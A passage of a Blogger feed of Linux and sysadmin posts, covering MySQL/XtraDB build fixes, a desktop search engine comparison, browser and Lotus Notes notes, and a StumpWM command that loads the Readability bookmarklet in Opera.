&lt;p&gt;Now, let's populate the directory with a test database:&lt;/p&gt;
&lt;code&gt;
$ mysql_install_db --user=mysql --datadir=/DIR/db
&lt;/code&gt;
&lt;p&gt;Note that we assume that your database runs under the username &lt;tt&gt;mysql&lt;/tt&gt;, as it should. Now, you can try to run the test database. It must listen on a different IP port, use different data directory, different files for socket and pid, different log and error log. Hence, the following command:&lt;/p&gt;
&lt;code&gt;
$ PATH-TO-NEW/mysqld --port=12345 --datadir=/DIR/db --socket=/DIR/db/sock --pid-file=/DIR/db/pid --log=/DIR/db/log --log-error=/DIR/db/log-err
&lt;/code&gt;
&lt;p&gt;Now, you can check whether the new, fresh copy of MySQL works. If it does, you can stop the running version and then run &lt;tt&gt;make install&lt;/tt&gt; for the new one.&lt;/p&gt;
&lt;p&gt;Note that we did not grant any permissions to any users, so you might not be able to connect to the new database with mysql client.&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-8022966711693993970?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/8022966711693993970/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/02/testing-new-mysql-on-production-server.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/8022966711693993970'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/8022966711693993970'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/02/testing-new-mysql-on-production-server.html' title='Testing new MySQL on production server'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-5603331096465325241</id><published>2010-02-26T01:12:00.000-08:00</published><updated>2010-02-26T05:59:53.049-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='mysql'/><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><title type='text'>MySQL+XtraDB: fixing compilation errors</title><content type='html'>&lt;p&gt;Trying to launch MySQL with the &lt;a href="http://www.percona.com/docs/wiki/percona-xtradb:start"&gt;new XtraDB engine&lt;/a&gt;. First, I downloaded &lt;a href="http://www.mysqlperformanceblog.com/mysql/5.1/source/mysql-5.1.26-percona.tar.bz2"&gt;MySQL sources with patches by Percona&lt;/a&gt; and untarred them. They compile without errors and MySQL starts without problems. However, this tarball uses InnoDB, while we wanted to test XtraDB.&lt;/p&gt;Next, I downloaded XtraDB 5.1.42-1.0.6-9 sources from &lt;a href="http://www.percona.com/percona-builds/Percona-XtraDB/Percona-XtraDB-5.1.43-9.1/"&gt;Percona web-site&lt;/a&gt;. According to the installation instructions, to use XtraDB, you have to replace the contents of &lt;code&gt;storage/innobase&lt;/code&gt; directory with the contents of the XtraDB archive. This time, I received two error messages during the compilation phase, but both of them had already been addressed by the developers and described at &lt;a href="https://launchpad.net/percona-xtradb"&gt;Percona's Launchpad.net&lt;/a&gt;. In the &lt;a href="https://bugs.launchpad.net/percona-xtradb/+bug/461173"&gt;first case&lt;/a&gt;, the file &lt;code&gt;handler/i_s.cc&lt;/code&gt; contained a minor error at line 801:
&lt;code&gt;error: invalid conversion from ‘const char*’ to ‘char*’&lt;/code&gt;
&lt;p&gt;To fix this,&lt;/p&gt;&lt;code&gt;if((p = strchr(index-&gt;table_name, '/')))
&lt;/code&gt;&lt;p&gt;in line 801 in &lt;code&gt;handler/i_s.cc&lt;/code&gt; has to be replaced with:&lt;/p&gt;
&lt;code&gt;if((p = strchr((char *) index-&gt;table_name, '/')))
&lt;/code&gt;
&lt;p&gt;Then I got another error message: &lt;code&gt;ha_innodb.cc:2622: undefined reference to `active_mi'&lt;/code&gt;. To solve &lt;a href="https://bugs.launchpad.net/percona-xtradb/+bug/509365"&gt;this second issue&lt;/a&gt;, I had to add disable compilation of MySQL embedded server by adding the following option to the &lt;code&gt;./configure&lt;/code&gt; script: &lt;code&gt;--without-embedded-server&lt;/code&gt;.&lt;/p&gt;So, finally, &lt;code&gt;make&lt;/code&gt; command succeeded and I tried to install MySQL, but then there was the third error:&lt;code&gt;/bin/sh: @MKDIR_P@: command not found&lt;/code&gt;. Fortunately, someone else had seen this message before and the solution is &lt;a href="http://bugs.mysql.com/bug.php?id=36222"&gt;available here&lt;/a&gt;. In the file &lt;code&gt;/storage/innobase/Makefile.in&lt;/code&gt; line &lt;code&gt;MKDIR_P = @MKDIR_P@&lt;/code&gt; must be replaced with &lt;code&gt;MKDIR_P = @mkdir_p@&lt;/code&gt;.
&lt;p&gt;So, to save your time, do these three modifications before you run &lt;code&gt;./configure&lt;/code&gt;. So, the session transcript would look like this:&lt;/p&gt;
&lt;pre&gt;
$ wget http://www.mysqlperformanceblog.com/mysql/5.1/\
source/mysql-5.1.26-percona.tar.bz2
$ wget http://www.percona.com/percona-builds/Percona-XtraDB/\
Percona-XtraDB-5.1.43-9.1/source/percona-xtradb-1.0.6-9.1.tar.gz
$ tar -xjf mysql-5.1.26-percona.tar.bz2
$ tar -xzf percona-xtradb-1.0.6-9.1.tar.gz
$ rm -r mysql-5.1.26-percona/storage/innobase/*
$ mv percona-xtradb-1.0.6-9.1/* mysql-5.1.26-percona/storage/innobase
$ cd mysql-5.1.26-percona/
mysql-5.1.26-percona$ sed -i 's/strchr(index/strchr((char *) index/' storage/innobase/handler/i_s.cc
mysql-5.1.26-percona$ sed -i 's/@MKDIR_P@/@mkdir_p@/' storage/innobase/Makefile.in
mysql-5.1.26-percona$ ./configure '--build=x86_64-linux-gnu' \
'--host=x86_64-linux-gnu' '--prefix=/usr' '--exec-prefix=/usr' \
'--libexecdir=/usr/sbin' '--datadir=/usr/share' \
'--localstatedir=/var/lib/mysql' '--includedir=/usr/include' \
'--infodir=/usr/share/info' '--mandir=/usr/share/man' '--with-server-suffix=-1ubuntu2' \
'--with-comment=(Ubuntu)' '--with-system-type=debian-linux-gnu' \
'--enable-shared' '--enable-static' '--enable-thread-safe-client' \
'--enable-assembler' '--enable-local-infile' '--with-pic' \
'--with-lib-ccflags=-fPIC' '--with-pstack' '--with-fast-mutexes' \
'--with-big-tables' '--with-unix-socket-path=/var/run/mysqld/mysqld.sock' \
'--with-mysqld-user=mysql' '--with-libwrap' '--with-ssl' \
'--without-docs' '--with-extra-charsets=all' '--with-plugins=max' \
'--without-ndbcluster' '--without-embedded-server' '--with-embedded-privilege-control' \
'build_alias=x86_64-linux-gnu' 'host_alias=x86_64-linux-gnu' \
'CC=gcc' 'CFLAGS=-O3 -DBIG_JOINS=1 -fPIC -fno-strict-aliasing' \
'LDFLAGS=-Wl,-Bsymbolic-functions' 'CPPFLAGS=' 'CXX=g++' \
'CXXFLAGS=-O3 -DBIG_JOINS=1 -felide-constructors -fno-exceptions \
-fno-rtti -fPIC -fno-strict-aliasing' 'FFLAGS=-g -O2'
mysql-5.1.26-percona$ make
mysql-5.1.26-percona$ sudo make install
&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-5603331096465325241?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/5603331096465325241/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2010/02/mysqlxtradb-fixing-compilation-errors.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5603331096465325241'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5603331096465325241'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2010/02/mysqlxtradb-fixing-compilation-errors.html' title='MySQL+XtraDB: fixing compilation errors'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-2643030684192348068</id><published>2009-12-25T10:56:00.000-08:00</published><updated>2009-12-25T11:08:35.027-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='google'/><title type='text'>Google Chromium</title><content type='html'>I've installed Google Chromium today to have a look at the browser features. I think I will put it aside for now.

First, I could not find a place where I could define the minimum font size. Chromium's default fonts were painfully small.

Second, in Firefox I set &lt;span style="font-weight: bold;"&gt;accessibility.tabfocus&lt;/span&gt; to 3, so that when I press TAB, the cursor moves from one entry field to another, skipping hyperlinks. I could not find something similar in Chromium.

Third, Google Wave is not really much faster in Chromium than in Firefox.

Fourth, there is no Zotero plugin for Chromium.

On the other hand, Google Reader works like a charm in Chromium. Besides, there's a great extension for Chromium, called CrossFire, that imitates Opera "spatial keyboard navigation". So, I'll wait for a while till the numbers one to four above are sorted out...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-2643030684192348068?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/2643030684192348068/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2009/12/google-chromium.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2643030684192348068'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/2643030684192348068'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2009/12/google-chromium.html' title='Google Chromium'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-7842557574364552217</id><published>2009-12-08T05:38:00.000-08:00</published><updated>2009-12-08T05:44:43.542-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='lotus'/><title type='text'>Problems with Lotus Notes 8.5 under Ubuntu Karmic Koala</title><content type='html'>Lotus Notes does not work under the new Ubuntu. The application starts, but the internal window area contains nothing and does not redraw. Click a menu and if it overlaps with the main window, a part of the menu stays there after you close it. The main window contains nothing but garbage. Actually, nothing strange, since 99% of Notes databases contain nothing but garbage, but you can't even pretend you're working!&lt;br/&gt;

The problem is deep inside Notes (and Ubuntu). Go here:

&lt;a href="http://sites.google.com/site/jeromeboismartel/home/ubuntu910lotusnotes85"&gt;Ubuntu 9.10 Lotus Notes 8.5&lt;/a&gt;

grab a TGZ archive with four shared libraries and copy the libraries to /opt/ibm/lotus/notes, start Notes and do something useless there.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-7842557574364552217?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/7842557574364552217/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2009/12/problems-with-lotus-notes-85-under.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/7842557574364552217'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/7842557574364552217'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2009/12/problems-with-lotus-notes-85-under.html' title='Problems with Lotus Notes 8.5 under Ubuntu Karmic Koala'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-3878794840310516831</id><published>2009-11-29T10:59:00.000-08:00</published><updated>2009-11-29T11:15:19.176-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='search'/><title type='text'>Desktop search engines compared</title><content type='html'>&lt;h2&gt;Intro&lt;/h2&gt;
&lt;p&gt;I have a large electronic library (over 15,000 books) and I was looking for a way to cope with this mass of information. I didn't like the idea of a special catalog, since it would take a lot of manual work to enter the metadata. Besides, my books are in various formats, from HTML to RTF, to DOC, to PDF, to DjVU. These files lack metadata way too often and I thought a local indexing service with a full-text search might solve my problems. I knew there are more options to choose from than just Google, but I could not find a good modern comparison. I had to compare them myself. Even the table in Wikinfo's Comparison of desktop search software contained too many errors, as I found.&lt;/p&gt;
&lt;p&gt;My task imposed certain restrictions on the one hand, but made the others irrelevant on the other hand. So, I was especially interested in a wide gamut of file types, in the ability to add new ones (Epub, fb2, html.zip) and in extensive query language. All software, except for GDS and DocFetcher, was installed from Ubuntu 9.10 repositories.&lt;/p&gt;
&lt;p&gt;I have no special preferences regarding the backend, it may be Xapian- or Lucene-based tool, or even a custom backend. On the other hand, Xapian usually requires more disk space, and there is never too much space on desktops.&lt;/p&gt;
&lt;h2&gt;Beagle&lt;/h2&gt;
&lt;a href="http://beagle-project.org" &gt;http://beagle-project.org&lt;/a&gt;
&lt;p&gt;The list of supported file types is quite large, it includes typical office files, source code, LaTeX source, images, audio and video files, RPM and DEB packages, e-mail from Evolution, Thunderbird and Kmail, IM and IRC logs, RSS feeds and many more (see here: http://beagle-project.org/Supported_Filetypes) and you are free to extend it. I could add new file types by editing one file, /etc/beagle/external-filters.xml.&lt;/p&gt;
&lt;p&gt;Indexing process can run in two ways: CPU-lenient and CPU-intensive (using EXERCISE_THE_DOG environment variable). The search engine is based on Lucene.Net. I have no idea why the developers chose this exotic platform to implement Beagle, but Beagle works, and it works well.&lt;/p&gt;
&lt;p&gt;Beagle understands limited (very limited, actually) regexps (*). You can search for phrases, exclude words (-word), use OR operator, specify dates when the file was created (on, before, after and between!), limit the search with a file type and define the directory where to look for the files. Unfortunately, you cannot point at the directory under which Beagle should search.&lt;/p&gt;
&lt;p&gt;You can even use the metadata of audio and image files, as in the examples from the manual:&lt;/p&gt;
&lt;pre&gt;artist:Beatles ext:mp3 OR ext:ogg -album:"Abbey Road"&lt;/pre&gt;
&lt;p&gt;You can specify to search in  mail attachments, to search by music genres, mailing lists, IM correspondents and much, MUCH more.&lt;/p&gt;
&lt;p&gt;Beagle tends to create huge log files in ~/.beagle/Logs.&lt;/p&gt;
&lt;p&gt;Beagle has a web interface. It's very easy to start using it, but not so easy to make use of it, since the alleged links to the results are not exactly links.&lt;/p&gt;
&lt;p&gt;Beagle web-site includes information on the query syntax and extending Beagle, but finding the information is next to impossible unless you use Google.&lt;/p&gt;
&lt;p&gt;Description of query syntax is here: &lt;a href="http://beagle-project.org/Searching_Data" &gt;http://beagle-project.org/Searching_Data&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;The index for a 45Gb home partition was only about 700Mb.&lt;/p&gt;
&lt;h2&gt;Google Desktop Search&lt;/h2&gt;
&lt;a href="http://desktop.google.com/linux/" &gt;http://desktop.google.com/linux/&lt;/a&gt;
&lt;p&gt;Supports OpenOffice and MS Office files, PDF, HTML, TXT, audio and image files and email from Thunderbird. Strangely enough, it does not index zipped archives.&lt;/p&gt;
&lt;p&gt;I could not add new file types, not even plain text with a different extension. I was pretty sure that GDS supports stemming, but not regexps.  To my surprise, stemming did not work in GDS. Nor did regexps. It does not even support AND and OR keywords.&lt;/p&gt;
&lt;p&gt;Otherwise the query syntax is acceptable. You can point at the directory where the file you are looking for is located, or the directory, under which the file is supposed to be. You can search for phrases or exclude words.&lt;/p&gt;
&lt;p&gt;I was using GDS for some years and it works great as long as you use it in the way Google intended it to work. While suitable for and average office cubicle, it was next to useless for my purposes.&lt;/p&gt;
&lt;p&gt;Index size was about 1.7Gb for 50Gb of data.&lt;/p&gt;
&lt;h2&gt;Recoll&lt;/h2&gt;
&lt;a href="http://www.lesbonscomptes.com/recoll/" &gt;http://www.lesbonscomptes.com/recoll/&lt;/a&gt;
&lt;p&gt;A large number of file types is supported natively, including plain text, HTML, maildir and mailbox files, OpenOffice, MS Office 2007, Abiword, LyX, Kword and Scribus files and GAIM logs. Many more are supported with external helpers: DOC, XLS, PDF, DjVU, MP3, image files and so on. Feel free to add to the list, it's easy: one file establishes associations between extension and mimetype, another one specifies how the data is extracted from a file of a certain MIME type, and the third one defines applications used to open MIME types.&lt;/p&gt;
&lt;p&gt;Recoll is built around the Xapian engine.&lt;/p&gt;
&lt;p&gt;I had an impression that the indexing process takes much longer with Recoll than with the other tools. When indexing RTF with unrtf, Recoll created a heap of WMF files in my home directory. Recoll has no indexing daemon that would run in the background all the time. Instead. Recollindex is to be launched from time to time (with cron, for example).&lt;/p&gt;
&lt;p&gt;The manual mentions stemming support, but also points that this is done the other way round. Stemming is not included in the database, as in  other indexing engines, but the query is stemmed instead. Unfortunately, my version gave different results when searching for plural 'notebooks' and singular 'notebook', so, I assume, stemming does not work in my installation of Recoll. Recoll understands regexps pretty well, which to a certain degree compensates for the problems with stemming.&lt;/p&gt;
&lt;p&gt;Rich query language, modeled after Xesam End User Search language (see here). Like with Beagle, you can use the dir: prefix to limit  the search path to one directory, but you cannot specify a directory tree. Alas! Other useful prefixes include title, author, ext (for file type), etc.&lt;/p&gt;
&lt;p&gt;The search client, recoll, is a GUI program, but with the -t option it runs in text mode. It means that instead of specifying a directory tree, I can just grep the results for a string, like this:&lt;/p&gt;
&lt;pre&gt;recoll -t -q \"jack london\"|grep /library/fiction/adventure&lt;/pre&gt;
&lt;p&gt;Note that for the command line client, you have to escape quotation marks to denote a phrase search.&lt;/p&gt;
&lt;p&gt;Recoll, unlike some other tools, has a decent user manual, containing information on query syntax and adding support for new file types.&lt;/p&gt;
&lt;p&gt;The index size threw a damper on me. For a 50Gb home directory it was more than 5Gb.&lt;/p&gt;
&lt;h2&gt;Strigi&lt;/h2&gt;
&lt;a href="http://strigi.sourceforge.net/" &gt;http://strigi.sourceforge.net/&lt;/a&gt;
&lt;p&gt;Strigi supports regular expressions. Theoretically, Strigi should support plain text files, PDF, DEB and RPM packages, OpenOffice documents and zipped files. Besides, Strigi was the only program that successfully indexed EPUB files without customization, interpreting them as just plain ZIP-archives with HTML, NCX, etc. inside.&lt;/p&gt;
&lt;p&gt;There's little I can say about this program. The daemon kept crashing when I tested it so I could not even finish building the index for my home directory. The client erroneously classified a lot of hits as being "email".&lt;/p&gt;
&lt;p&gt;The incomplete (?) index size was about 750Mb.&lt;/p&gt;
&lt;h2&gt;Tracker&lt;/h2&gt;
&lt;a href="http://projects.gnome.org/tracker" &gt;http://projects.gnome.org/tracker&lt;/a&gt;
&lt;p&gt;Tracker is a part of GNOME project and it tries to adhere to various useless technologies, like DBus. Tracker introduces the concept of file tags thus overcomplicating the task of file management. I admit that the notion of file tags might be reasonable, but only if it is supported universally, if tags are freely backed up, copied, etc. Now, fortunately, the tags are not obligatory for Tracker&lt;/p&gt;
&lt;p&gt;The full list of supported file types is unavailable, but the web-site talks about image, audio, video, text files, source code, applications, playlists, IM converstaions and so on. No email, nor bookmarks, nor contacts as yet, though. The indexing daemon would segfault occasionally and I could not finish indexing.&lt;/p&gt;
&lt;p&gt;As a matter of fact, Tracker was designed as a metadata search tool (and its full name is MetaTracker), but the normal use case is just full text search. Tracker was written to work well even on machines with 128 or 256 Mb RAM. Judging by the slowness of indexing, this statement could be true. I was wrong, Recoll was not the slowest indexer, it was Tracker.&lt;/p&gt;
&lt;p&gt;I could not find a good user manual.&lt;/p&gt;
&lt;h2&gt;DocFetcher&lt;/h2&gt;
&lt;a href="http://docfetcher.sourceforge.net/en/index.html" &gt;http://docfetcher.sourceforge.net/en/index.html&lt;/a&gt;
&lt;p&gt;Supported file types: HTML, plain text, PDF, Microsoft Office (doc, xls, ppt), Microsoft Office 2007 (docx, xlsx, pptx), OpenOffice.org Writer, Calc, Draw and Impress, RTF, AbiWord (abw, abw.gz, zabw), CHM, Visio, SVG.&lt;/p&gt;
&lt;p&gt;Written in Java. Fast and CPU-sparing indexing. DocFetcher comes in two flavors: a binary installable package and a "portable" version, which you can run right from your home directory.&lt;/p&gt;
&lt;p&gt;DocFetcher supports regular expressions (at least * and ?). Phrase search, AND and OR keywords, search in content or in metadata: author and title  fields are supported. Does not index zipped files. It is easy to add new filename extensions that are treated as yet another text file or HTML, but I could not add a new file type which is to be treated in a special way. For me this means that I cannot process custom XML to convert the content to the proper charset. It's a problem.&lt;/p&gt;
&lt;p&gt;An interesting query feature is boosting terms: "You can assign custom weights to words, thus increasing or decreasing the level of matching for a particular document if the weighted word occurs in it. This allows you to influence the relevance sorting of the result page. Example: dog^4 cat will bring up the documents with "dog" in it on the top of the result page."&lt;/p&gt;
&lt;p&gt;The manual can be found in the downloaded archive, but it is very brief.&lt;/p&gt;
&lt;h2&gt;Pinot&lt;/h2&gt;
&lt;a href="http://pinot.berlios.de/" &gt;http://pinot.berlios.de/&lt;/a&gt;
&lt;p&gt;Like Tracker and Strigi, Pinot is built for D-Bus. Its indexing engine uses the same Xapian engine as Recoll, so I could use Pinot text-mode client to query the database built by Recoll indexer. Pinot can use other databases, but I was not interested in this option. The crawler takes a huge share of RAM and CPU. It ate up 70% of RAM on my PC, causing some other programs to crash, so I had to leave it for a night to complete indexing.&lt;/p&gt;
&lt;p&gt;The documentation consists of one Readme file and a couple of web-pages. Quoting these web-pages, "The following document types are supported internally :&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;plain text&lt;/li&gt;
  &lt;li&gt;HTML&lt;/li&gt;
  &lt;li&gt;XML&lt;/li&gt;
  &lt;li&gt;mbox, including attachments and embedded documents&lt;/li&gt;
  &lt;li&gt;MP3, Ogg Vorbis, FLAC&lt;/li&gt;
  &lt;li&gt;JPEG&lt;/li&gt;
  &lt;li&gt;common archive formats (tar, Z, gz, bzip2, deb)&lt;/li&gt;
  &lt;li&gt;ISO 9660 images&lt;/li&gt;
&lt;/ul&gt;
The following document types are supported through external programs :
&lt;ul&gt;
  &lt;li&gt;PDF (pdftotext required)&lt;/li&gt;
  &lt;li&gt;RTF (unrtf required)&lt;/li&gt;
  &lt;li&gt;OpenDocument/StarOffice files (unzip required)&lt;/li&gt;
  &lt;li&gt;MS Word (antiword required)&lt;/li&gt;
  &lt;li&gt;PowerPoint (catppt required)&lt;/li&gt;
  &lt;li&gt;Excel (xls2csv required)&lt;/li&gt;
  &lt;li&gt;DVI (catdvi required)&lt;/li&gt;
  &lt;li&gt;DjVu (djvutext required)&lt;/li&gt;
  &lt;li&gt;RPM (rpm required)&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Indeed, new file types are defined in the file external-filters.xml very similar (but not identical, Pinot developers warn) the the file with the same name used by Beagle.&lt;/p&gt;
&lt;p&gt;I have to say that these external programs made indexing of PDF, RTF and other files a difficult task. Indexing a PDF document took up to two minutes.&lt;/p&gt;
&lt;h2&gt;Conclusion&lt;/h2&gt;
&lt;p&gt;Recoll and Pinot may be considered good alternatives to Beagle, but the size of the Xapian index database leaves just one choice for me, Beagle.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-3878794840310516831?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/3878794840310516831/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2009/11/desktop-search-engines-compared.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/3878794840310516831'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/3878794840310516831'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2009/11/desktop-search-engines-compared.html' title='Desktop search engines compared'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-5754001599241946265</id><published>2009-11-24T03:33:00.000-08:00</published><updated>2009-11-24T03:39:54.326-08:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='domain'/><category scheme='http://www.blogger.com/atom/ns#' term='windows'/><category scheme='http://www.blogger.com/atom/ns#' term='account'/><title type='text'>The account has been restricted. Please, contact your system administrator</title><content type='html'>&lt;p&gt;So, the boss tries to log on, gets the message "The account has been restricted. Please, contact your system administrator", contacts me and what am I supposed to do? I can log on as the local administrator, I can check the registry, launch McAfee, but to no avail. Then I find &lt;a href="http://2xdizzy.blogspot.com/2009/03/account-has-been-restricted-please.html"&gt;a solution offered by Dizzy&lt;/a&gt;, then I think it's nonsense and try to fix the problem playing with permissions, domain accounts and so on. Then, finally, I remove the computer from the domain, then join it to the domain back, and it works! Why? What happened? No idea.&lt;/p&gt;

&lt;p&gt;And then this wishy-washy rascal who happens to be my boss, insists that I grant him administrator privileges on his notebook? Ha-ha!&lt;/p&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8782655015037910925-5754001599241946265?l=dmatwork.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://dmatwork.blogspot.com/feeds/5754001599241946265/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://dmatwork.blogspot.com/2009/11/account-has-been-restricted-please.html#comment-form' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5754001599241946265'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8782655015037910925/posts/default/5754001599241946265'/><link rel='alternate' type='text/html' href='http://dmatwork.blogspot.com/2009/11/account-has-been-restricted-please.html' title='The account has been restricted. Please, contact your system administrator'/><author><name>Dmitri Minaev</name><uri>https://profiles.google.com/101239984032189294124</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8782655015037910925.post-5423563698214640</id><published>2009-10-13T01:04:00.000-07:00</published><updated>2009-10-13T01:15:53.863-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='linux'/><category scheme='http://www.blogger.com/atom/ns#' term='browsers'/><category scheme='http://www.blogger.com/atom/ns#' term='stumpwm'/><category scheme='http://www.blogger.com/atom/ns#' term='opera'/><title type='text'>Readability+Opera+StumpWM</title><content type='html'>&lt;p&gt;Last time I wrote about using Readability bookmarklet in Opera running under StumpWM without mouse. The straightforward solution had a lot of deficiencies. One of the worst ones was that it didn't work in full-screen mode. Here's a much better way. Opera has a number of command-line switches (listed &lt;a href="http://www.opera.com/docs/switches/"&gt;here&lt;/a&gt;). One of them, &lt;tt&gt;openURL&lt;/tt&gt;, allows us to open a URL in the current window. So, if we put the bookmarklet code into the URL field, it will do the trick:&lt;/p&gt;
&lt;pre&gt;
(defcommand readability () ()
   (run-shell-command "opera -remote \"openURL(javascript:
(function(){readStyle='style-novel';
readSize='size-medium';
readMargin='margin-medium';
_readability_script=document.createElement('SCRIPT');
_readability_script.type='text/javascript';
_readability_script.src='http://lab.arc90.com/experiments/readability/js/readability.js?x='+(Math.random());
document.getElementsByTagName('head')[0].appendChild(_readability_script);
_readability_css=document.createElement('LINK');
_readability_css.rel='stylesheet';
_readability_css.href='http://lab.arc90.com/experiments/readability/css/readability.css';
_readability_css.type='text/css';
_readability_css.media='screen';
document.getElementsByTagName('head')[0].appendChild(_readability_css);
_readability_print_css=document.createElement('LINK');
_readability_print_css.rel='stylesheet';
_readability_print_css.href='http://lab.arc90.com/experiments/readability/css/readability-print.css';
_readability_print_css.media='print';
_readability_print_css.type='text/css';
document.getElementsByTagName('head')[0].appendChild(_readability_print_css);
})();)\""))
&lt;/pre&gt;
&lt;p&gt;Now, this Stump command will work even in full screen mode. It will even work when the Opera window does not have the input focus.&lt;/p&gt;
&lt;p&gt;Of course, the code for any bookmarklet may be supplied instead of Readability.&lt;/p&gt;
